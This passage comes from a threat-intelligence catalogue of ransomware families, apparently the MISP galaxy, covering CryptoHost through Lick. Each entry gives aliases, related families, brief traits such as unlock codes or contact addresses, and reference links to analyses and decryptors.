similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"

Table 3755. Table References
Links
http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html

CryptoJoker

Ransomware

The tag is: misp-galaxy:ransomware="CryptoJoker"

CryptoJoker has relationships with:

similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-probability="likely"

Table 3756. Table References
Links
https://id-ransomware.blogspot.com/2017/07/cryptojoker-2017-ransomware.html

CryptoLocker

Ransomware no longer relevant

The tag is: misp-galaxy:ransomware="CryptoLocker"

CryptoLocker has relationships with:

similar: misp-galaxy:malpedia="CryptoLocker" with estimative-language:likelihood-probability="likely"

Table 3757. Table References
Links
https://www.fireeye.com/blog/executive-perspective/2014/08/your-locker-of-information-for-cryptolocker-decryption.html
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/

CryptoLocker 1.0.0

Ransomware

The tag is: misp-galaxy:ransomware="CryptoLocker 1.0.0"

Table 3758. Table References
Links
https://twitter.com/malwrhunterteam/status/839747940122001408

CryptoLocker 5.1

Ransomware

The tag is: misp-galaxy:ransomware="CryptoLocker 5.1"

Table 3759. Table References
Links
https://twitter.com/malwrhunterteam/status/782890104947867649

CryptoMix

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix"

CryptoMix is also known as:

Zeta

CryptoMix has relationships with:

similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood-probability="likely"

Table 3760. Table References
Links
http://www.nyxbone.com/malware/CryptoMix.html
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://twitter.com/JakubKroustek/status/804009831518572544
https://www.bleepingcomputer.com/news/security/new-empty-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/0000-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/xzzx-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/test-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/system-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/mole66-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-backup-cryptomix-ransomware-variant-actively-infecting-users/
https://twitter.com/demonslay335/status/1072227523755470848
https://www.coveware.com/blog/cryptomix-ransomware-exploits-cancer-crowdfunding
https://www.bleepingcomputer.com/news/security/cryptomix-ransomware-exploits-sick-children-to-coerce-payments/

CryptoRansomeware

Ransomware

The tag is: misp-galaxy:ransomware="CryptoRansomeware"

CryptoRansomeware has relationships with:

similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 3761. Table References
Links
https://twitter.com/malwrhunterteam/status/817672617658347521

CryptoRoger

Ransomware

The tag is: misp-galaxy:ransomware="CryptoRoger"

Table 3762. Table References
Links
http://www.bleepingcomputer.com/news/security/new-ransomware-called-cryptoroger-that-appends-crptrgr-to-encrypted-files/
https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html

CryptoShadow

Ransomware

The tag is: misp-galaxy:ransomware="CryptoShadow"

Table 3763. Table References
Links
https://twitter.com/struppigel/status/821992610164277248

CryptoShocker

Ransomware

The tag is: misp-galaxy:ransomware="CryptoShocker"

Table 3764. Table References
Links
http://www.bleepingcomputer.com/forums/t/617601/cryptoshocker-ransomware-help-and-support-topic-locked-attentionurl/
https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html

CryptoTorLocker2015

Ransomware

The tag is: misp-galaxy:ransomware="CryptoTorLocker2015"

Table 3765. Table References
Links
http://www.bleepingcomputer.com/forums/t/565020/new-cryptotorlocker2015-ransomware-discovered-and-easily-decrypted/
https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html

CryptoTrooper

Ransomware

The tag is: misp-galaxy:ransomware="CryptoTrooper"

Table 3766. Table References
Links
http://news.softpedia.com/news/new-open-source-linux-ransomware-shows-infosec-community-divide-508669.shtml

CryptoWall 1

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 1"

CryptoWall 2

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 2"

CryptoWall 3

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 3"

Table 3767. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/
https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/

CryptoWall 4

Ransomware

The tag is: misp-galaxy:ransomware="CryptoWall 4"

CryptXXX

Ransomware Comes with Bedep

The tag is: misp-galaxy:ransomware="CryptXXX"

CryptXXX is also known as:

CryptProjectXXX

CryptXXX has relationships with:

similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"

Table 3768. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 2.0

Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.

The tag is: misp-galaxy:ransomware="CryptXXX 2.0"

CryptXXX 2.0 is also known as:

CryptProjectXXX

CryptXXX 2.0 has relationships with:

similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"

Table 3769. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx2-ransomware-authors-strike-back-against-free-decryption-tool
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.0

Ransomware Comes with Bedep

The tag is: misp-galaxy:ransomware="CryptXXX 3.0"

CryptXXX 3.0 is also known as:

UltraDeCrypter
UltraCrypter

Table 3770. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/news/security/cryptxxx-updated-to-version-3-0-decryptors-no-longer-work/
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.1

Ransomware StilerX credential stealing

The tag is: misp-galaxy:ransomware="CryptXXX 3.1"

Table 3771. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx-ransomware-learns-samba-other-new-tricks-with-version3100
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryPy

Ransomware

The tag is: misp-galaxy:ransomware="CryPy"

Table 3772. Table References
Links
http://www.bleepingcomputer.com/news/security/ctb-faker-ransomware-does-a-poor-job-imitating-ctb-locker/
https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html

CTB-Faker

Ransomware

The tag is: misp-galaxy:ransomware="CTB-Faker"

CTB-Faker is also known as:

Citroni

Table 3773. Table References
Links
https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html

CTB-Locker WEB

Ransomware websites only

The tag is: misp-galaxy:ransomware="CTB-Locker WEB"

Table 3774. Table References
Links
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/
https://github.com/eyecatchup/Critroni-php
https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html

CuteRansomware

Ransomware Based on my-Little-Ransomware

The tag is: misp-galaxy:ransomware="CuteRansomware"

CuteRansomware is also known as:

my-Little-Ransomware

Table 3775. Table References
Links
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool
https://github.com/aaaddress1/my-Little-Ransomware

Cyber SpLiTTer Vbs

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Cyber SpLiTTer Vbs"

Cyber SpLiTTer Vbs is also known as:

CyberSplitter

Cyber SpLiTTer Vbs has relationships with:

similar: misp-galaxy:malpedia="CyberSplitter" with estimative-language:likelihood-probability="likely"

Table 3776. Table References
Links
https://twitter.com/struppigel/status/778871886616862720
https://twitter.com/struppigel/status/806758133720698881
https://id-ransomware.blogspot.com/2016/09/cyber-splitter-vbs-ransomware.html

Death Bitches

Ransomware

The tag is: misp-galaxy:ransomware="Death Bitches"

Table 3777. Table References
Links
https://twitter.com/JaromirHorejsi/status/815555258478981121

DeCrypt Protect

Ransomware

The tag is: misp-galaxy:ransomware="DeCrypt Protect"

Table 3778. Table References
Links
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/

DEDCryptor

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="DEDCryptor"

Table 3779. Table References
Links
http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/
http://www.nyxbone.com/malware/DEDCryptor.html
https://id-ransomware.blogspot.com/2016/06/dedcryptor-ransomware-aes-256rsa-2.html

Demo

Ransomware only encrypts .jpg files

The tag is: misp-galaxy:ransomware="Demo"

Table 3780. Table References
Links
https://twitter.com/struppigel/status/798573300779745281
https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html

DetoxCrypto

Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte

The tag is: misp-galaxy:ransomware="DetoxCrypto"

Table 3781. Table References
Links
http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/
https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html

Digisom

Ransomware

The tag is: misp-galaxy:ransomware="Digisom"

Table 3782. Table References
Links
https://twitter.com/PolarToffee/status/829727052316160000

DirtyDecrypt

Ransomware

The tag is: misp-galaxy:ransomware="DirtyDecrypt"

Table 3783. Table References
Links
https://twitter.com/demonslay335/status/752586334527709184
https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html

DMALocker

Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0

The tag is: misp-galaxy:ransomware="DMALocker"

Table 3784. Table References
Links
https://decrypter.emsisoft.com/
https://github.com/hasherezade/dma_unlocker
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/

DMALocker 3.0

Ransomware

The tag is: misp-galaxy:ransomware="DMALocker 3.0"

Table 3785. Table References
Links
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/

DNRansomware

Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT

The tag is: misp-galaxy:ransomware="DNRansomware"

Table 3786. Table References
Links
https://twitter.com/BleepinComputer/status/822500056511213568

Domino

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="Domino"

Table 3787. Table References
Links
http://www.nyxbone.com/malware/Domino.html
http://www.bleepingcomputer.com/news/security/the-curious-case-of-the-domino-ransomware-a-windows-crack-and-a-cow/
https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html

DoNotChange

Ransomware

The tag is: misp-galaxy:ransomware="DoNotChange"

Table 3788. Table References
Links
https://www.bleepingcomputer.com/forums/t/643330/donotchange-ransomware-id-7es642406cry-do-not-change-the-file-namecryp/
https://id-ransomware.blogspot.com/2017/03/donotchange-ransomware.html

DummyLocker

Ransomware

The tag is: misp-galaxy:ransomware="DummyLocker"

Table 3789. Table References
Links
https://twitter.com/struppigel/status/794108322932785158

DXXD

Ransomware

The tag is: misp-galaxy:ransomware="DXXD"

Table 3790. Table References
Links
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/
https://www.bleepingcomputer.com/news/security/the-dxxd-ransomware-displays-legal-notice-before-users-login/
https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html

HiddenTear

Ransomware Open sourced C#

The tag is: misp-galaxy:ransomware="HiddenTear"

HiddenTear is also known as:

Cryptear
EDA2
Hidden Tear

HiddenTear has relationships with:

similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 3791. Table References
Links
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EduCrypt

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="EduCrypt"

EduCrypt is also known as:

EduCrypter

Table 3792. Table References
Links
http://www.filedropper.com/decrypter_1
https://twitter.com/JakubKroustek/status/747031171347910656
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EiTest

Ransomware

The tag is: misp-galaxy:ransomware="EiTest"

Table 3793. Table References
Links
https://twitter.com/BroadAnalysis/status/845688819533930497
https://twitter.com/malwrhunterteam/status/845652520202616832

El-Polocker

Ransomware Has a GUI

The tag is: misp-galaxy:ransomware="El-Polocker"

El-Polocker is also known as:

Los Pollos Hermanos

Table 3794. Table References
Links
https://id-ransomware.blogspot.com/2016/07/el-polocker-ransomware-aes-450-aud.html

Encoder.xxxx

Ransomware Coded in GO

The tag is: misp-galaxy:ransomware="Encoder.xxxx"

Encoder.xxxx is also known as:

Trojan.Encoder.6491

Encoder.xxxx has relationships with:

similar: misp-galaxy:ransomware="Windows_Security Ransonware" with estimative-language:likelihood-probability="likely"

Table 3795. Table References
Links
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
http://vms.drweb.ru/virus/?_is=1&i=8747343

encryptoJJS

Ransomware

The tag is: misp-galaxy:ransomware="encryptoJJS"

Table 3796. Table References
Links
https://id-ransomware.blogspot.com/2016/11/encryptojjs-ransomware.html

Enigma

Ransomware

The tag is: misp-galaxy:ransomware="Enigma"

Table 3797. Table References
Links
http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/
https://id-ransomware.blogspot.com/2016/05/enigma-ransomware-aes-128-0.html

Enjey

Ransomware Based on RemindMe

The tag is: misp-galaxy:ransomware="Enjey"

Table 3798. Table References
Links
https://twitter.com/malwrhunterteam/status/839022018230112256

Fairware

Ransomware Target Linux O.S.

The tag is: misp-galaxy:ransomware="Fairware"

Table 3799. Table References
Links
http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/

Fakben

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="Fakben"

Table 3800. Table References
Links
https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code
https://id-ransomware.blogspot.com/2016/07/fakben-team-ransomware-aes-256-1505.html

FakeCryptoLocker

Ransomware

The tag is: misp-galaxy:ransomware="FakeCryptoLocker"

Table 3801. Table References
Links
https://twitter.com/PolarToffee/status/812312402779836416

Fantom

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="Fantom"

Fantom is also known as:

Comrad Circle

Table 3802. Table References
Links
http://www.bleepingcomputer.com/news/security/fantom-ransomware-encrypts-your-files-while-pretending-to-be-windows-update/

FenixLocker

Ransomware

The tag is: misp-galaxy:ransomware="FenixLocker"

Table 3803. Table References
Links
https://decrypter.emsisoft.com/fenixlocker
https://twitter.com/fwosar/status/777197255057084416
https://id-ransomware.blogspot.com/2016/09/fenixlocker-ransomware.html

FILE FROZR

Ransomware RaaS

The tag is: misp-galaxy:ransomware="FILE FROZR"

Table 3804. Table References
Links
https://twitter.com/rommeljoven17/status/846973265650335744
https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html

FileLocker

Ransomware

The tag is: misp-galaxy:ransomware="FileLocker"

Table 3805. Table References
Links
https://twitter.com/jiriatvirlab/status/836616468775251968

FireCrypt

Ransomware

The tag is: misp-galaxy:ransomware="FireCrypt"

FireCrypt has relationships with:

similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 3806. Table References
Links
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/
https://id-ransomware.blogspot.com/2017/01/bleedgreen-ransomware.html

Flyper

Ransomware Based on EDA2 / HiddenTear

The tag is: misp-galaxy:ransomware="Flyper"

Table 3807. Table References
Links
https://twitter.com/malwrhunterteam/status/773771485643149312
https://id-ransomware.blogspot.com/2016/09/flyper-ransomware.html

Fonco

Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents

The tag is: misp-galaxy:ransomware="Fonco"

FortuneCookie

Ransomware

The tag is: misp-galaxy:ransomware="FortuneCookie"

Table 3808. Table References
Links
https://twitter.com/struppigel/status/842302481774321664

Free-Freedom

Ransomware Unlock code is: adam or adamdude9

The tag is: misp-galaxy:ransomware="Free-Freedom"

Free-Freedom is also known as:

Roga

Free-Freedom has relationships with:

similar: misp-galaxy:ransomware="Roga" with estimative-language:likelihood-probability="likely"

Table 3809. Table References
Links
https://twitter.com/BleepinComputer/status/812135608374226944
https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html

FSociety

Ransomware Based on EDA2 and RemindMe

The tag is: misp-galaxy:ransomware="FSociety"

Table 3810. Table References
Links
https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/
https://twitter.com/siri_urz/status/795969998707720193
https://id-ransomware.blogspot.com/2016/08/fsociety-ransomware.html

Fury

Ransomware

The tag is: misp-galaxy:ransomware="Fury"

Table 3811. Table References
Links
https://support.kaspersky.com/viruses/disinfection/8547

GhostCrypt

Ransomware Based on Hidden Tear

The tag is: misp-galaxy:ransomware="GhostCrypt"

Table 3812. Table References
Links
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip
http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/
https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html

Gingerbread

Ransomware

The tag is: misp-galaxy:ransomware="Gingerbread"

Table 3813. Table References
Links
https://twitter.com/ni_fi_70/status/796353782699425792

Globe v1

Ransomware

The tag is: misp-galaxy:ransomware="Globe v1"

Globe v1 is also known as:

Purge

Table 3814. Table References
Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://id-ransomware.blogspot.com/2017/07/purge-kind-ransomware.html

GNL Locker

Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker

The tag is: misp-galaxy:ransomware="GNL Locker"

GNL Locker has relationships with:

similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 3815. Table References
Links
http://www.bleepingcomputer.com/forums/t/611342/gnl-locker-support-and-help-topic-locked-and-unlock-files-instructionshtml/
http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html

Gomasom

Ransomware

The tag is: misp-galaxy:ransomware="Gomasom"

Table 3816. Table References
Links
https://decrypter.emsisoft.com/
http://id-ransomware.blogspot.com/2016/05/gomasom-ransonware.html

Goopic

Ransomware

The tag is: misp-galaxy:ransomware="Goopic"

Table 3817. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

Gopher

Ransomware OS X ransomware (PoC)

The tag is: misp-galaxy:ransomware="Gopher"

Hacked

Ransomware Jigsaw Ransomware variant

The tag is: misp-galaxy:ransomware="Hacked"

Table 3818. Table References
Links
https://twitter.com/demonslay335/status/806878803507101696
http://id-ransomware.blogspot.com/2016/12/hackedlocker-ransomware.html

HappyDayzz

Ransomware

The tag is: misp-galaxy:ransomware="HappyDayzz"

Table 3819. Table References
Links
https://twitter.com/malwrhunterteam/status/847114064224497666
http://id-ransomware.blogspot.com/2017/03/happydayzz-blackjocker-ransomware.html

Harasom

Ransomware

The tag is: misp-galaxy:ransomware="Harasom"

Table 3820. Table References
Links
https://decrypter.emsisoft.com/

HDDCryptor

Ransomware Uses https://diskcryptor.net for full disk encryption

The tag is: misp-galaxy:ransomware="HDDCryptor"

HDDCryptor is also known as:

Mamba

HDDCryptor has relationships with:

similar: misp-galaxy:malpedia="Mamba" with estimative-language:likelihood-probability="likely"

Table 3821. Table References
Links
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/]
http://id-ransomware.blogspot.com/2016/09/hddcryptor-ransomware-mbr.html

Heimdall

Ransomware File marker: "Heimdall---"

The tag is: misp-galaxy:ransomware="Heimdall"

Table 3822. Table References
Links
https://www.bleepingcomputer.com/news/security/heimdall-open-source-php-ransomware-targets-web-servers/
https://id-ransomware.blogspot.com/2016/11/heimdall-ransomware.html

Help_dcfile

Ransomware

The tag is: misp-galaxy:ransomware="Help_dcfile"

Table 3823. Table References
Links
http://id-ransomware.blogspot.com/2016/09/helpdcfile-ransomware.html

Herbst

Ransomware

The tag is: misp-galaxy:ransomware="Herbst"

Herbst has relationships with:

similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"

Table 3824. Table References
Links
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware
https://id-ransomware.blogspot.com/2016/06/herbst-autumn-ransomware-aes-256-01.html

Hi Buddy!

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Hi Buddy!"

Table 3825. Table References
Links
http://www.nyxbone.com/malware/hibuddy.html
http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html

Hitler

Ransomware Deletes files

The tag is: misp-galaxy:ransomware="Hitler"

Table 3826. Table References
Links
http://www.bleepingcomputer.com/news/security/development-version-of-the-hitler-ransomware-discovered/
https://twitter.com/jiriatvirlab/status/825310545800740864
http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html

HolyCrypt

Ransomware

The tag is: misp-galaxy:ransomware="HolyCrypt"

HolyCrypt has relationships with:

similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"

Table 3827. Table References
Links
http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/
https://id-ransomware.blogspot.com/2016/07/holycrypt-ransomware.html

HTCryptor

Ransomware Includes a feature to disable the victim’s windows firewall Modified in-dev HiddenTear

The tag is: misp-galaxy:ransomware="HTCryptor"

Table 3828. Table References
Links
https://twitter.com/BleepinComputer/status/803288396814839808

HydraCrypt

Ransomware CrypBoss Family

The tag is: misp-galaxy:ransomware="HydraCrypt"

Table 3829. Table References
Links
https://decrypter.emsisoft.com/
http://www.malware-traffic-analysis.net/2016/02/03/index2.html
https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html

iLock

Ransomware

The tag is: misp-galaxy:ransomware="iLock"

Table 3830. Table References
Links
https://twitter.com/BleepinComputer/status/817085367144873985

iLockLight

Ransomware

The tag is: misp-galaxy:ransomware="iLockLight"

International Police Association

Ransomware CryptoTorLocker2015 variant

The tag is: misp-galaxy:ransomware="International Police Association"

Table 3831. Table References
Links
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe

iRansom

Ransomware

The tag is: misp-galaxy:ransomware="iRansom"

Table 3832. Table References
Links
https://twitter.com/demonslay335/status/796134264744083460
http://id-ransomware.blogspot.com/2016/11/iransom-ransomware.html

JagerDecryptor

Ransomware Prepends filenames

The tag is: misp-galaxy:ransomware="JagerDecryptor"

Table 3833. Table References
Links
https://twitter.com/JakubKroustek/status/757873976047697920

Jeiphoos

Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.

The tag is: misp-galaxy:ransomware="Jeiphoos"

Jeiphoos is also known as:

Encryptor RaaS
Sarento

Table 3834. Table References
Links
http://www.nyxbone.com/malware/RaaS.html
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/

Jhon Woddy

Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH

The tag is: misp-galaxy:ransomware="Jhon Woddy"

Table 3835. Table References
Links
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip
https://twitter.com/BleepinComputer/status/822509105487245317

Jigsaw

Ransomware Has a GUI

The tag is: misp-galaxy:ransomware="Jigsaw"

Jigsaw is also known as:

CryptoHitMan

Jigsaw has relationships with:

similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 3836. Table References
Links
http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-decrypted-will-delete-your-files-until-you-pay-the-ransom/
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/
https://twitter.com/demonslay335/status/795819556166139905
https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html

Job Crypter

Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC

The tag is: misp-galaxy:ransomware="Job Crypter"

Job Crypter is also known as:

JobCrypter

Table 3837. Table References
Links
http://www.nyxbone.com/malware/jobcrypter.html
http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html
https://twitter.com/malwrhunterteam/status/828914052973858816
http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html

JohnyCryptor

Ransomware

The tag is: misp-galaxy:ransomware="JohnyCryptor"

Table 3838. Table References
Links
http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html

KawaiiLocker

Ransomware

The tag is: misp-galaxy:ransomware="KawaiiLocker"

Table 3839. Table References
Links
https://safezone.cc/resources/kawaii-decryptor.195/
http://id-ransomware.blogspot.com/2016/09/kawaiilocker-ransomware.html

KeRanger

Ransomware OS X Ransomware

The tag is: misp-galaxy:ransomware="KeRanger"

KeRanger has relationships with:

similar: misp-galaxy:malpedia="KeRanger" with estimative-language:likelihood-probability="likely"

Table 3840. Table References
Links
http://news.drweb.com/show/?i=9877&lng=en&c=5
http://www.welivesecurity.com/2016/03/07/new-mac-ransomware-appears-keranger-spread-via-transmission-app/
https://id-ransomware.blogspot.com/2016/03/keranger-ransomware.html

KeyBTC

Ransomware

The tag is: misp-galaxy:ransomware="KeyBTC"

Table 3841. Table References
Links
https://decrypter.emsisoft.com/

KEYHolder

Ransomware via remote attacker. tuyuljahat@hotmail.com contact address

The tag is: misp-galaxy:ransomware="KEYHolder"

Table 3842. Table References
Links
http://www.bleepingcomputer.com/forums/t/559463/keyholder-ransomware-support-and-help-topic-how-decryptgifhow-decrypthtml
https://id-ransomware.blogspot.com/2016/06/keyholder-ransomware-xor-cfb-cipher.html

KillerLocker

Ransomware Possibly Portuguese dev

The tag is: misp-galaxy:ransomware="KillerLocker"

Table 3843. Table References
Links
https://twitter.com/malwrhunterteam/status/782232299840634881
http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html

KimcilWare

Ransomware websites only

The tag is: misp-galaxy:ransomware="KimcilWare"

Table 3844. Table References
Links
https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it
http://www.bleepingcomputer.com/news/security/the-kimcilware-ransomware-targets-web-sites-running-the-magento-platform/
http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html

Korean

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Korean"

Table 3845. Table References
Links
http://www.nyxbone.com/malware/koreanRansom.html
http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html

Kozy.Jozy

Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com

The tag is: misp-galaxy:ransomware="Kozy.Jozy"

Kozy.Jozy is also known as:

Table 3846. Table References
Links
http://www.nyxbone.com/malware/KozyJozy.html
http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-lsbj1/
https://id-ransomware.blogspot.com/2016/06/kozy.html

KratosCrypt

Ransomware kratosdimetrici@gmail.com

The tag is: misp-galaxy:ransomware="KratosCrypt"

Table 3847. Table References
Links
https://twitter.com/demonslay335/status/746090483722686465
https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html

KryptoLocker

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="KryptoLocker"

Table 3848. Table References
Links
https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html

LanRan

Ransomware Variant of open-source MyLittleRansomware

The tag is: misp-galaxy:ransomware="LanRan"

Table 3849. Table References
Links
https://twitter.com/struppigel/status/847689644854595584
http://id-ransomware.blogspot.com/2017/03/lanran-ransomware.html

LeChiffre

Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker

The tag is: misp-galaxy:ransomware="LeChiffre"

Table 3850. Table References
Links
https://decrypter.emsisoft.com/lechiffre
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/
http://id-ransomware.blogspot.com/2016/05/lechiffre-ransomware.html

Lick

Ransomware Variant of Kirk

The tag is: misp-galaxy:ransomware="Lick"

Table 3851. Table References
Links
https://twitter.com/JakubKroustek/status/842404866614038529
